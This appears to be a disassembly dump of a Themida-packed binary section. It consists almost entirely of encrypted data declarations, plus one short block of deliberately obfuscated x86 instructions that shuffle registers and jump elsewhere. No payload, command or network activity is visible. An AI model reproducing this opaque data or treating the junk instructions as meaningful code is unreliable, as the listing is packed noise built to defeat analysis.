dd 5EC35E20h, 4247489h, 4244481h, 1Bh, 5BC35646h, 0FDF6EABEh
dd 0E8D60FCAh, 6, 19CF8D21h, 0B70F3E70h, 85C75EDEh, 5E21B55h
dd 0
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 6BC35040h
dd 8B47E12Eh, 0E225D585h, 0C8D08005h, 1CD1B5FFh, 6A05E2h
dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
dd 493664C3h, 2038934h, 68A0F60h, 8B000000h, 0E215419Dh
dd 819D0105h, 6105E218h, 0B1595FFh, 880F05E2h, 2, 6A04B6h
dd 0AB995FFh
db 0E2h
byte_555D69 db 5, 8Bh, 0C0h ; DATA XREF: Themida_:004F0074o
dd 91924CEBh, 0B69B70DCh, 0B3F6B8A5h, 8E6F2FC5h, 851BD380h
dd 0E4836CBEh, 0FF5EC337h, 770F51DEh, 7AE2C96Dh, 2BAE147Dh
dd 43015B88h, 0E0DE2CD3h, 0E388E366h, 2CAE4F0Ah, 0C9A2AF6Bh
dd 11D1A6C9h, 0AB51A57h, 0E9CEAE81h, 2B047E32h, 13E8BABEh
dd 0D1000000h, 0FCFA1219h, 14C5D667h, 96C448B6h, 0B21931CCh
dd 0BD89FFFCh, 5E20D4Dh, 0DDC18159h, 8B000072h, 0E20AB595h
dd 8349BB05h, 0F3815B88h, 5B889FD8h, 0B819D29h, 31FF05E2h
dd 0DE958h, 727E0000h, 5FE38BB4h, 0C1BC55CBh, 81394290h
dd 0FF526CE8h, 85896009h, 5E22FC1h, 0D8F78166h, 0E8816136h
dd 5461F70Ah, 81E2CE80h, 0E3C5D2E8h, 1DB52316h, 5005E22Ch
dd 21EDBD2Bh, 18F05E2h, 23BDBD89h, 0E98305E2h, 1EB8304h
dd 0FFA8850Fh, 9E9FFFFh, 12000000h, 7E9124A7h, 44A6C2E9h
dd 0FE8h, 1F16B700h, 22A18A2Ch, 87B46EACh, 0C88D9052h
dd 9E95Ah, 0E1940000h, 4EF7836Dh, 81D50A81h, 6266C2h, 51858B00h
dd 0BB05E20Ch, 3461DA52h, 3E1BC381h, 0B589CB9Eh, 5E20AFDh
dd 860F32FFh, 3, 5ECF8B66h, 81C0D080h, 8F71B1EEh, 75858B56h
dd 8105E207h, 315B9F6h, 0FEB70F0Eh, 0F430EE81h, 0F18121E5h
dd 4971DDB5h, 0D8813289h, 13329A51h, 2301EA83h, 0E20CE1BDh
dd 4A4A4A05h, 83C68B66h, 850F01EBh, 0Eh, 25E9F8h, 33160000h
dd 6617E597h, 8D292678h, 5E22C89h, 0FFFF97E9h, 0BAC3F3FFh
dd 0FE1CD14Bh, 1B8BEC9Ch, 536650DDh, 0E82D8FD0h, 14h, 0F947B0E7h
dd 0C2565B97h, 0C79C471Dh, 0EC815893h, 1E1A263Eh, 4799D89h
dd 0F5A05E2h, 0C281F0BFh, 66ADh, 0B8FA8Bh, 89000000h, 0E21CE1BDh
dd 1034FF05h, 5E9h, 33736B00h, 6659CA42h, 0E981F28Bh, 4E614A7Dh
dd 1484F181h, 8B664E00h, 12F181F8h, 89126057h, 0E201799Dh
dd 20C8905h, 0E883DA8Bh, 81FE8B04h, 0FF9A08F8h, 1F850FFFh
dd 1000000h, 0E2089DBDh, 3BE905h, 433F0000h, 6309A631h
dd 0AB9EBE27h, 38C212Eh, 0AF196417h, 13E91720h, 55000000h
dd 915EDD91h, 1B01C310h, 59041403h, 68393860h, 82E98A7Dh
dd 0A5FFFFFFh, 0ACFCB935h, 0F4A34180h, 0F8D8DDDh, 6A05E884h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h
dd 43000000h, 9D29C353h, 6BDD0CCDh, 0BA66AB3Eh, 8D89B49Eh
dd 5E20BE9h, 6185C7F5h, 0E805E207h, 6A00006Fh, 3E85100h
dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
dd 0E80CC351h, 9, 0E31FB370h, 0B5C90613h, 13E987h, 0CC480000h
dd 4C5AD703h, 5C60DDEBh, 5F134A87h, 0C3AAAA7Bh, 85C75FA3h
dd 5E21B55h, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 75C35343h
dd 561B6EBDh, 2CF5958Bh, 0B5FF05E2h, 5E210E5h, 0E818D89h
dd 95FF05E2h, 5E20B15h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
dd 4244481h, 1Dh, 0ABC35545h, 51E3E5ABh, 0C3991E9Ah, 6ADA8AD8h
dd 0B995FF00h
db 0Ah, 0E2h
word_5560C6 dw 8B05h ; DATA XREF: Themida_:004EEB38o
dd 4B7FEBC0h, 19074FD9h, 309B7AB8h, 24773039h, 77729361h
dd 0BEBF276h, 49B3BA5Bh, 0F0AA32Fh, 1AE8A716h, 30B78440h
dd 2A5D9C45h, 3263FE6Dh, 0B5DC4400h, 28D221BCh, 0AEE87B55h
dd 0FE4EAAB7h, 0F2A002DEh, 89A344E5h, 0FAFF5A90h, 42712F27h
dd 0A351AA10h, 845DBE04h, 0F851272h, 79A96E5Bh, 0AB2A2BE0h
dd 0DCE77BFAh, 0DCF2C10Eh, 0A0D524ABh, 640012CFh, 505DB220h
dd 0ED7281E6h, 1A233587h, 8D8D86E9h, 5E88539h, 0E856006Ah
dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 0FAC35646h, 8B67172Ch
dd 8D89D1D4h, 5E20BE9h, 0DE8h, 0F0A7AE00h, 811B8FAEh, 0BF3E174Dh
dd 0C75E8BC6h, 0E2076185h, 725805h, 0D0816600h, 8E0FD7FBh
dd 0
dd 1B5585C7h, 5E2h, 0D6810000h, 1F3268F5h, 1DF1B5FFh, 0BD2905E2h
dd 5E230CDh, 0B1595FFh, 6A05E2h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 55F37FC3h, 47740614h
dd 0DE80740Dh, 0FF006AAFh, 0E20AB995h
dword_5561F0 dd 0EBC08B05h, 6EF82C4Dh, 6133A8h, 3A13B7DDh, 7C54424Dh
; DATA XREF: Themida_:004EFE78o
dd 88A4EFCEh, 87C210EAh, 0CDF93DC0h, 0DCCDEDB0h, 817EF96Ch
dd 0BD605DAh, 0C74B524h, 0E7C6F35Ah, 7B1EEC61h, 63D6ED1Bh
dd 1F3AB5CAh, 921951E0h, 0D90E8429h, 5685C3F4h, 0BF1714C4h
dd 7E85FF9h, 16000000h, 832FA93Ch, 0BE661139h, 815BB328h
dd 6387C3h, 0FB8B6600h, 0B8h, 800F6000h, 6, 0E619D89h
dd 0BD2905E2h, 5E22691h, 30C8B61h, 36E9C181h, 8166601Dh
dd 814985DFh, 3D6A3EF1h, 56F28133h, 812F66CFh, 132A19C1h
dd 21952971h, 8905E219h, 0BA66030Ch, 958B4D21h, 5E22415h
dd 6604E883h, 0FD0CD781h, 9CF0F881h, 850FFFFFh, 0FFFFFFB9h
dd 2B65B58Bh, 11E805E2h, 0AC000000h, 860064E0h, 0CC3AD1Eh
dd 4656F7FBh, 5AE4C87Dh, 26A9BD01h, 0F55E05E2h, 59C4C681h
dd 0CE90000h, 0C0000000h, 5F0C470Dh, 378BC87Ah, 2B4EC530h
dd 21DA81C9h, 8B2F0F15h, 958B0E1Ch, 5E21D65h, 64CDEB81h
dd 0E38A06C2h, 0A121F381h, 0F605B71h, 381h, 0D1B70F00h
dd 0A5B58957h, 5A05E22Ch, 71C38161h, 0E87C8F8Dh, 7
dword_556334 dd 0BEA2512h, 31043A38h, 0E215719Dh, 1C895F05h, 93F2810Eh
; DATA XREF: Themida_:004F0958o
dd 8B580A8Ah, 0E200E185h, 3E98305h, 0CCF28166h, 0F480495Fh
dd 0E0F98169h, 0FFFFFA6h, 0FFFF9685h, 69858BFFh, 8D05E213h
dd 0E8876D8Dh, 58B0F05h, 66000000h, 372DE881h, 0E98D89F8h
dd 6005E20Bh, 2CA1BD31h, 0B58905E2h, 5E215F1h, 6185C761h
dd 6405E207h, 6A000063h, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 18042444h, 45000000h, 89F6C355h, 0FC9D9B6Dh
dd 1B5585C7h, 5E2h, 0CA800000h, 59B5FFFFh, 6A05E206h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
dd 0B436C356h, 1595FF38h, 6A05E20Bh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 377DC352h
dd 0BB228E2h, 0DCE28166h, 0FF006AAEh, 0E20AB995h, 0EBC08B05h
dd 0B4F8426Ah, 6C2FAC39h, 52B2FFE2h, 0B7208FADh, 0BAA1B2FCh
dd 9CE0B491h, 139F4C2Eh, 0AB336A42h, 8ED68EADh, 0D880CDC9h
dd 408BE317h, 0DDAA044Fh, 0B9A40EA9h, 985A8B6Dh, 41560839h
dd 0CF4535D9h, 71E796E1h, 376B748Ah, 4ABBB890h, 5ECF9CCFh
dd 1A9559D3h, 5A756D6Bh, 1A466DE2h, 0A6BCC43Eh, 42630E6Eh
dd 357FB21Ah, 0EB54BD0Bh, 0FCF9D904h, 50CE966h, 4F890000h
dd 0FAFA4F4Bh, 0A95110BEh, 4D88F9E5h, 0FDFE434Fh, 0F59C2BB7h
dd 616D33A8h, 0CFCBD900h, 963C807Ah, 7A6026D3h, 0ADAE0B7Ah
dd 64F9F03Eh, 696EFD39h, 6499D823h, 8F1B05Eh, 0FFF87B82h
dd 0A02362B9h, 0FE039137h, 0D7702EEFh, 0FC180A66h, 0D6021CBFh
dd 27566859h, 682161EAh, 0FAC43152h, 32767EE1h, 15E1ABEBh
dd 6C6A30A9h, 24D9DF1Dh, 91CE0F9Eh, 0FAC63475h, 0D4D00447h
dd 98A304B1h, 891CA259h, 0E34F2721h, 0F3B2B5F9h, 0F6678604h
dd 877031D5h, 9D5F1E01h, 0C4ADC811h, 0FC18A4AEh, 0CE4135B3h
dd 3A043013h, 77B8h, 82763900h, 5D6EEF3Eh, 23696E69h, 0C059D8h
dd 6143BF1Fh, 0DF52BB0Ch, 0C4FC1829h, 0A27FB282h, 0B3A04A3h
dd 0F90C9048h, 1266B7Ch, 18000000h, 0B228666Eh, 0EB6AB1EEh
dd 155CAFEBh, 1E41A4E2h, 0BABB1CDAh, 6BFC18B9h, 1D44A71Ch
dd 634FDEDCh, 38A10DF9h, 47010572h, 0D056C36Fh, 9038FB18h
dd 2F7E44B9h, 0E96871AEh, 5C2DA9EDh, 0A4E2179Bh, 22D51441h
dd 0A5A32F64h, 0C4276D6Eh, 0CE5D599Dh, 3C4F5387h, 227945B5h
dd 0EA4E2660h, 0E4522284h, 9C2DA9F7h, 4B9C1ADDh, 1ADFD304h
dd 5DC4279Ch, 0B9FC7DDAh, 5E15FC18h, 8A16C28Dh, 82B31497h
dd 53FC18B9h, 18B8C3E4h, 7EA3E6DEh, 0CD3A0411h, 67h, 276D6EF1h
dd 8D5D9DC4h, 29E44A5Bh, 2BAB1E70h, 0ABEB326Fh, 34A915E1h
dd 0A9F5E5A4h, 187ADF90h, 0CC3976FCh, 347A63C6h, 2B676ED1h
dd 5398E3AFh, 0FB7D87E6h, 0D459840Bh, 75F43A04h, 187063D4h
dd 0E4C5B2FCh, 47BFh, 6D6E8300h, 5F9DC427h, 8F1EA459h
dd 0FC0F9544h, 18DF027Fh, 0F6C62592h, 0C5368470h, 6E15D3FFh
dd 0E3B12866h, 189E5998h, 4A1776A3h, 0FC18B934h, 0BFCBBB2Dh
dd 0B9DA9B3Ch, 3C0BFC18h, 13429FABh, 1E93A04h, 0DD000000h
dd 0C7266A6Eh, 0CE5D5B9Ch, 0E08E66E0h, 0C7784877h, 0FCC465Fh
dd 0CB63F455h, 38847671h, 8377FAC3h, 0BBD8933Fh, 0C8119097h
dd 0FC180B87h, 3CBEE15Eh, 8F285770h, 1FA7FFFh, 83C25916h
dd 3C3D9A56h, 0D5F9FA7Fh, 0C4A5219Eh, 29769513h, 0F9FA7F16h
dd 1F2B1B4Dh, 7F3A3B9Ch, 96EBF9FAh, 0D8E15E62h, 0BC5A6099h
dd 7F8E0CCDh, 668503F4h, 0EC9A6ACCh, 0C920527Bh, 0CA131C7Ch
dd 4E545287h, 0E6180DC0h, 0FBE1A03Fh, 71E916B7h, 0DD000001h
dd 0AAEEEFAEh, 0DF1C6F2Dh, 0F7BB3F62h, 0AD862794h, 0DA9D8CA0h
dd 0C649921Eh, 0C8D40447h, 46AF38BDh, 1FADFE8h, 3F309918h
dd 0D6F9FA9Fh, 6DDA4099h, 3AE56DFAh, 0EDAE269Eh, 249B5B6Ch
dd 9D2EDE79h, 8CC8FF6h, 0EBFC798Ch, 0A9357364h, 2991FD8h
dd 759016C3h, 798C10CAh, 6EBD03F6h, 0E4926224h, 0FAAC1243h
dd 3F74C3F9h, 3F7B6FBh, 0E7B47B5h, 0E56D7EFFh, 7634A511h
dd 28EF2268h, 4D5C3FE6h, 66000000h, 0D2557918h, 8A26D345h
dd 0BF3C4F4Dh, 896A0A9Eh, 3768F130h, 75FC1870h, 0A1C4C832h
dd 70060FE8h, 0D3082943h, 44A79C0Ah, 18B37AFBh, 5C2812FCh
dd 52D5F998h, 46F750D3h, 9FFC18B3h, 6DBE07A0h, 84FC18B3h
dd 0A1BE23AFh, 0C4000000h, 738B7B18h, 5864C8A4h, 0DE7599E3h
dd 2398B817h, 0C93073F6h, 555384FBh, 0FD248536h, 0FAEB3A5Ch
dd 0CA59CE01h, 0B7F39DB9h, 84F317B0h, 8B19C285h, 2FA82B32h
dd 0DB1C6D69h, 84C74EDDh, 0B994254h, 88A40DDEh, 0D5F9FA91h
dd 0C374D554h, 1FF9FA95h, 0E267BBF8h, 30B1DD00h, 0FA8BA697h
dd 0CB007FF9h, 0E7C48F2h, 14C7C3C9h, 83245B0Fh, 7E37388h
dd 743F4E25h, 0A0FBC735h, 0BB01F42Bh, 0FCBA3F22h, 2F0741A9h
dd 10944003h, 0C09B6307h, 0D99D36h, 0CC0C2A37h, 33948BC0h
dd 9CBD558h, 2A10BEF5h, 0D0577B18h, 1F13851h, 0ED13DB2h
dd 499220DBh, 12335E0h, 98E35802h, 671AA059h, 501243E4h
dd 74C3F9F0h, 50E354F5h, 4532F9F0h, 16C3A664h, 562C7590h
dd 0A15AC5C7h, 36A30FE7h, 0E2176A70h, 356226AEh, 22686FD6h
dd 3C787C3Fh, 3C2680ABh, 0BFFDFA48h, 3FA92E13h, 98B76DE8h
dd 0AFFE2B28h, 3C4h, 9DA7FE00h, 0D92C686Eh, 0C05B6196h
dd 34575B81h, 25404E8Dh, 287341BAh, 1F6E34A9h, 9B21D4h
dd 769519C1h, 788307CFh, 0E18951F2h, 4C181h, 0E9830000h
dd 240C3304h, 33240C31h
db 0Ch, 24h, 5Ch
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edx
push 5C3Ah
mov [esp], edi
push esi
push 69094A18h
mov esi, [esp]
add esp, 4
sub esi, 0FF7706Ch
sub esi, 532951C5h
mov edx, esi
pop esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop edi
push ebx
push ebp
mov ebp, edx
mov ebx, ebp
pop ebp
mov [edi+8], ebx
pop ebx
push dword ptr [esp]
pop edi
add esp, 4
push dword ptr [esp]
pop edx
add esp, 4
jmp loc_4F5CCB
; ---------------------------------------------------------------------------
db 8Ah, 10h, 22h
dd 50BF78C5h, 97AB2DE8h, 6EB8902Dh, 305E88Ch, 0E4E0FFC5h
dd 1E056809h, 2354977Bh, 75354BF0h, 0B05D9AB7h, 257038C8h
dd 0C01B3B6Ch
db 48h, 8Ch, 2Ch
byte_5569CF db 8Dh ; DATA XREF: Themida_:004EF2B8o
dd 0E88DB48Dh, 0DDF38005h, 0BE98D89h, 858905E2h, 5E21601h
dd 76185C7h, 5AB805E2h, 85C70000h, 5E21B55h, 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0FCC35545h
dd 61B58912h, 0F05E206h, 0B5FFF7BFh, 5E21D05h, 0DAF067B8h
dd 1595FF10h, 6A05E20Bh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 13F0C350h, 9CC7FF9Dh
dd 0FFFA547h, 689h, 0EDB58B00h, 0BE05E205h, 4FD4C7F6h
dd 95FF006Ah, 5E20AB9h, 6CEBC08Bh, 24E14DF3h, 0F53EAD5Bh
dd 15168D3Eh, 2C6585B0h, 0A4489668h, 0C921F5C3h, 0FB5152CEh
dd 0DB57E85Ah, 6142A8C7h, 0C3240901h, 2D0E5075h, 0AFE64641h
dd 7C10A437h, 0ADA52D6Ah, 1B6AFAD8h, 0F2978AD2h, 6FEAA1C2h
dd 0B4CB2093h, 1C4FE862h, 99255B1Ch, 9D0B55F8h, 8CAD1167h
dd 0BC494ECFh, 0CA84F5h, 521DAFECh, 5A99179Eh, 12AF5BBEh
dd 8EE48D8Dh, 6A05E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 0A07449C3h, 8E8D634h, 0EA000000h
dd 12FB799h, 6602EDCFh, 0AED5DE81h, 0E98D8958h, 8B05E20Bh
dd 0E21D79BDh, 6185C705h, 0C005E207h, 6A000064h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
dd 2AFBC355h, 0A3A67B5Bh, 85C77233h, 5E21B55h, 0
dd 0B5FFE28Ah, 5E2325Dh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 18h, 7CC35747h, 0AC58F826h, 75DBD89h, 95FF05E2h
dd 5E20B15h, 250DBD8Bh, 0C58A05E2h, 95FF006Ah, 5E20AB9h
dd 5FEBC08Bh, 9A78AAB1h, 31B470EFh, 0D42C71h, 0A527F096h
dd 595AF29Fh, 59783F6Eh, 3B37CCFCh, 818D6BFAh, 7C516DCFh
dd 83CCC8D5h, 0DB524884h, 6A8ABB0h, 0C17082C0h, 842F14FCh
dd 0E60CE044h, 13423245h, 78DEB417h, 83F2DEEEh, 1CABB452h
dd 0FC8E73D8h, 2307493Bh, 0AAA640ECh, 0AC5BC517h, 0E8EBFFD1h
dd 9, 0F0606113h, 0A5550A01h, 58B0FC5h, 66000000h, 0A51ED681h
dd 0C78B6659h, 6C62C181h, 0DAB70000h, 0BD29D233h, 5E22BD5h
dd 0F113C8Bh, 288h, 81E6B300h, 979DB5C7h, 0F781FC0Eh, 45AD536Bh
dd 81F78B66h, 340C96F7h, 0EE971h, 0C3FF0000h, 20F1FBA6h
dd 0CB3D0AF9h, 47E49373h, 89113C89h, 0E21CC5BDh, 89BD8905h
dd 8305E20Ah, 816603EAh, 4AED06F3h, 2519B58Bh, 0FA8105E2h
dd 0FFFF9448h, 18850Fh, 858B0000h, 5E208ADh, 1DE9h, 0A4DC0500h
dd 31872927h, 0EC879EC2h, 8D01BAC4h, 5E20EB9h, 0FFFF7FE9h
dd 67908CFFh, 0FE85EAAh, 4C000000h, 0D6E0AEBBh, 7A053678h
dd 0FCD1E26h, 0B58BB213h, 5E20151h, 75958B5Bh, 8105E20Bh
dd 64F1C3h, 0E9958900h, 6805E222h, 190Dh, 117D9D09h, 0E95805E2h
dd 14h, 0ACF7211Bh, 5BCC606Dh, 0AC4F7875h, 0A270ED65h
dd 45E97BB4h, 958B0B8Bh, 5E224D5h, 75E8C181h, 0C1813554h
dd 75067889h, 81BEC280h, 308BBFC1h, 8210BA3Dh, 29514E73h
dd 0E20999BDh, 89038F05h, 0E200658Dh, 8AEB8105h, 0F2512F3h
dd 38Ah, 0F3B70F00h, 0F386C381h, 0F482512h, 1385h, 2A15BE00h
dd 1DE970BAh, 24000000h, 0F5A9F29Ch, 1C03E34Fh, 0E9FB8B66h
dd 0FFFFFF98h, 0EFE05D82h, 199376E6h, 0ABC20CFCh, 91C48D8Dh
dd 0B58B05E8h, 5E21D8Dh, 12E0F281h, 8D893B9Eh, 5E20BE9h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 85C35343h
dd 7FCD8E12h, 4DB589E6h, 8905E20Ah, 0E21C9DBDh, 6185C705h
dd 0C005E207h, 6A00006Dh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 1C042444h, 45000000h, 0EFE1C355h, 0AD1C0E51h
dd 8AA22D29h, 5585C7DCh, 5E21Bh, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0F052C353h
dd 11E995A3h, 0DB000000h, 25E15C7Ah, 3AD3B1A7h, 3C9EA90Dh
dd 0F9FC9411h, 0FFF28B66h, 0E23045B5h, 52006A05h, 3E8h
dd 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h
dd 459A2E82h, 0F344357Eh, 29506008h, 0E232B9BDh, 0F78B5E05h
dd 1595FF61h, 6605E20Bh, 858BC38Bh, 5E22539h, 95FF006Ah
dd 5E20AB9h, 0CEBC08Bh, 0A05DC216h, 0CA0ED7C7h, 5A13D7F2h
dd 5E8h, 0CD2E5F00h, 85091D1Fh, 5E226A1h, 0C081665Ah, 0C281DD91h
dd 6001h, 115B589h, 0B905E2h, 66000000h, 0DD20D681h, 8B0A3C8Bh
dd 0E205A985h, 67F78105h, 8938DFE8h, 0E213F99Dh, 7CEF8105h
dd 0F91E1072h, 3E13F781h, 60572B26h, 89575861h, 0E208AD8Dh
dd 0A048F05h, 0EE8E28Ah, 7F000000h, 44D4D012h, 59C32830h
dd 5095EF25h, 7D858B6Eh, 5805E219h, 8B01E983h, 0E21F01B5h
dd 49494905h, 81D88B66h, 0FFA0ACF9h, 12850FFFh, 3000000h
dd 0E225D19Dh, 18E905h, 90C40000h, 0DC43BC0Fh, 0E95E568Ah
dd 0FFFFFF80h, 6732E88Fh, 0B369137Ch, 0AE86BA6h, 0C9000000h
dd 0B7DE6D0Ah, 772C5Ah, 0D98D8913h, 5905E210h, 4BC181FCh
dd 66000060h, 0A7D1CE81h, 17DD68h, 0CE900h, 670B0000h
dd 9BFDA1FFh, 0E250994Dh, 8158CF7Bh, 0A181A3DFh, 3331FF59h
dd 0E203D9BDh, 89605B05h, 0E21C4D8Dh, 0FD8D8905h, 6105E217h
dd 744BEB81h, 0B58B212Dh, 5E22405h, 339C381h, 0BD8B2B05h
dd 5E2138Dh, 0CD89EB81h, 0BD8B2101h, 5E21AA1h, 89018F53h
dd 0E21EADBDh, 2E98305h, 0AE9h, 4C1E5700h, 8E7FE56Fh, 497AA610h
dd 8B666049h, 0EE9C7h, 0A2CE0000h, 1535A932h, 8DBDFADDh
dd 0D1600813h, 850F4861h, 16h, 0E9FB8B66h, 22h, 0CADF3E37h
dd 2A3056E9h, 3A05F6A2h, 0E681DE4Fh, 41DBBFFBh, 0FFFF68E9h
dd 14F03FFh, 290271EFh
db 94h, 74h
word_557022 dw 7582h ; DATA XREF: Themida_:004EF4B4o
; Themida_:004EF904o
dd 690889A0h, 0A6DC7814h, 0C764D38Dh, 0A12E8635h, 25908635h
dd 254813D9h, 0AC990530h, 25176430h, 2581023Fh, 98078630h
dd 20A09545h, 5EA58930h, 0E3908630h, 0C742CFB5h, 14CC835h
dd 0A4CE6F43h, 816DA204h, 907BF29Bh, 20A086B9h, 5F4003BDh
dd 0F56F83D5h, 0A08E76BBh, 20C68C79h, 25166E7Eh, 0F2498630h
dd 0AED42E72h, 0AE46A274h, 1650F30h, 906FDE34h, 20AA9545h
dd 5F4503BDh, 0F5ED83D5h, 35B07EBBh, 0CC848630h, 25428638h
dd 2BA48996h, 6C908630h, 0A0474F3Bh, 0DADB79C0h, 25128BD9h
dd 67940B30h, 9D81647Ch, 25428635h, 98AC65CFh, 2078155Bh
dd 0B1790BBDh, 379C83D8h, 0E94B615h, 758247FFh, 690889A0h
dd 0A6DC7814h, 0C764D38Dh, 0A12E8635h, 25908635h, 254813D9h
dd 0AC990530h, 0F305E983h, 22B9A4h, 0DE80000h, 62000000h
dd 2DF33794h, 152BF154h, 0FBB08BF3h, 0DE8h, 0F7FF0D00h
dd 0EFC43F2Ah, 9ABCF87Ah, 0FE8109Bh, 5E000000h, 0F46B0380h
dd 18E456E5h, 1DB53F61h, 8E95F10h, 69000000h, 84709FF3h
dd 5FF71FE7h, 9D8B585Fh, 5E223E1h, 6AE8C081h, 85890000h
dd 5E20D61h, 0B9h, 9D095600h, 5E2242Dh, 8148B5Bh, 6870Fh
dd 9D8B0000h, 5E2065Dh, 8FDF281h, 9D315D0Eh, 5E216E1h
dd 0C0D0F281h, 858973D8h, 5E204C5h, 2089EA81h, 0CF804872h
dd 81489F5h, 2CF98D89h, 0B58905E2h, 5E218E1h, 0B308E981h
dd 80606151h, 8B66E0D8h, 0C18161CEh, 6151B304h, 13CD8D09h
dd 0F98105E2h, 0FFFF95F4h, 0E850Fh, 14E90000h, 21000000h
dd 631233Ah, 559498CFh, 0FFFF88E9h, 353047FFh, 8DFCEE66h
dd 0E895CA8Dh, 5E905h, 0E7230000h, 89EC6EB4h, 0E20BE98Dh
dd 0CE905h, 0F1590000h, 0D83A3B6h, 0BE6DAD8h, 85C7FE94h
dd 5E20761h, 720Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 9EC35242h, 6C24544Ah, 3192B881h, 0E20509B5h
dd 5585C705h, 5E21Bh, 0B8000000h, 59974D48h, 18EDB5FFh
dd 958905E2h, 5E229C1h, 0FC98D31h, 95FF05E2h, 5E20B15h
dd 424DE881h, 6A389Bh, 0AB995FFh
db 0E2h
byte_557281 db 5, 8Bh, 0C0h ; DATA XREF: Themida_:004EEC80o
dd 0DED659EBh, 0D893476Ah, 0CE838EB0h, 925579A4h, 5209A7EDh
dd 135F7BD2h, 55A28302h, 99583B8Dh, 0B437BFF5h, 0D5E50DBEh
dd 0EFDB3F07h, 649CF6EBh, 9BE62A0Ch, 126ADB9Ch, 0DB581D2Dh
dd 5E3C5D26h, 0C66C5322h, 6446DF6Ah, 2F2BA31Eh, 9DE03B35h
dd 95C45D7Eh, 6115A1A7h, 0EB24BA52h, 20C1C804h, 81EE955h
dd 9B5D0000h, 468EF31Fh, 0F5E54442h, 995C2DA9h, 49B2F713h
dd 41205F7Bh, 95317F7Ch, 739F25D4h, 0DAC0CC0Eh, 0AE347267h
dd 79FA5FA6h, 0A8F9F02Fh, 0FA8821E5h, 0C6FC18B9h, 0D93B5711h
dd 0C8633308h, 0DF447793h, 5FD374EBh, 0B601FA6Ch, 0BA23A2F9h
dd 0C93275F4h, 4524E2FBh, 4CF71694h, 44FE0D8Bh, 33A412E2h
dd 59D86975h, 0FA6E7FF0h, 0D996F9h, 0E6EAA77Ah, 76043Fh
dd 6E3E0000h, 9DC4276Dh, 0D9F38E60h, 0DA5C3540h, 25D71E6Dh
dd 14C30299h, 7DFF7796h, 79C33789h, 0F6BC218Dh, 0E46FA2E8h
dd 49DC3A04h, 0E6000000h, 0C4276D6Eh, 18B9C77Bh, 0B806F5FCh
dd 0BDF5E26Dh, 0A328733Fh, 83C51776h, 0CB754DB3h, 0CD0C4FFBh
dd 505480C7h, 8D13C877h, 0E677E001h, 0BD8CA599h, 0C4E6123Bh
dd 8D4AAE69h, 1BD53Ch, 0C5520000h, 6FB98DEEh, 0EFDBEC4Fh
dd 0C4276D6Eh, 18B9C47Bh, 0D9AD9BFCh, 0A422706Dh, 577B18BEh
dd 892E51D0h, 0FC18B9C8h, 30992219h, 1FADAD2h, 16C58425h
dd 98BEBF88h, 1857F9FAh, 9C3DBCA3h, 0F9FA98DBh, 81AC3D0Ah
dd 88169A5Eh, 0E051F679h, 31F9FA98h, 0FAFE617Ah, 989ADB7Ch
dd 364BF9FAh, 0FA98A091h, 0CD3A71F9h, 97BC7590h, 4A0D8CB3h
dd 7CF90C90h, 0C2C0026Bh, 0D8730418h, 72A8B8B7h, 0F5104DC8h
dd 0BC73E42Dh, 9AC9539Ch, 0F5C18952h, 414D5189h, 51B4F8E0h
dd 0DC3E5708h, 0ECA455F7h, 1570ADEBh, 3E8CCD6Ah, 0EE45F7DCh
dd 2D783EBBh, 6A932174h, 3781712Ah, 0EEF34531h, 0ACF0E8ABh
dd 1763531Bh, 5226D5E3h, 0DCC944F5h, 69A69DF7h, 8F4A0D3Ch
dd 1EBBFA01h, 0F7DCC95Dh, 7942BFF4h, 7E18A7ADh, 704A9452h
dd 8723696Eh, 75B39AEh, 5260B5CCh, 55D79D89h, 3D040788h
dd 37C7h, 7E18FB00h, 9AE9452h, 0FC18B948h, 692FA899h, 94AEB63Ch
dd 23266A6Eh, 94357B60h, 8EF170D6h, 8066474Dh, 2C8Eh, 894C0F00h
dd 0EDAFF803h, 0AD560A7Ah, 1BEFF835h, 0A3587E18h, 0AE1AA01Dh
dd 18B94809h, 0CBF764FCh, 6C6C2FAEh, 6EA38720h, 7098266Ah
dd 0FF696E4Ah, 0BE1F3300h, 1514413Dh, 5F043592h, 0D506FC18h
dd 133FBCCFh, 9FF88324h, 0FC1DDC70h, 9FEBDB9Dh, 0BC2D5C5Ah
dd 837774FAh, 0EE6FEC3Fh, 4B9C62B3h, 0A3F1EA5Fh, 5F96D958h
dd 3089C259h, 0A7C6CC31h, 0ADD9AD0Fh, 5FAEEAEAh, 5982CD1Eh
dd 0CC14F4Bh, 0A33A0993h, 4Bh, 0EAEFAE87h, 316E32A6h, 6030A9A8h
dd 65D6357Bh, 7FE4DD28h, 0A5129841h, 0D58623A2h, 0CFC18B9h
dd 0A8F3BF3Dh, 0AAD5F623h, 0FACF490Dh, 50AB8001h, 0EE9C68D2h
dd 4672BAFh, 206490D7h, 991FD887h, 385BCC7Dh, 7C822FA2h
